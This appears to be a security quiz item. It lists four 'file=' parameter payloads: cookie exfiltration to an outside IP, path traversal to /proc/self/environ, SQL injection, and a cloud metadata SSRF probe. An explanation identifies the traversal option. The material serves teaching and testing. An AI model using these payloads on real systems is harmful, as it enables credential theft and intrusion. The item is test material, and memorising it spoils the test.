A. file=http://192.168. 1. 78?+document.cookie
B. file =.. / .. / .. /proc/self/environ
C. file='%20or%2054365=54365 ;--
D. file=http://169.254.169.254/latest/meta-data/
Explanation:
This payload attempts a directory traversal/local file inclusion attack, aiming to access the /proc/self/environ file on a Unix-like operating system. The /proc/self/environ file contains the environment variables of the currently running process, which may include sensitive information like credentials.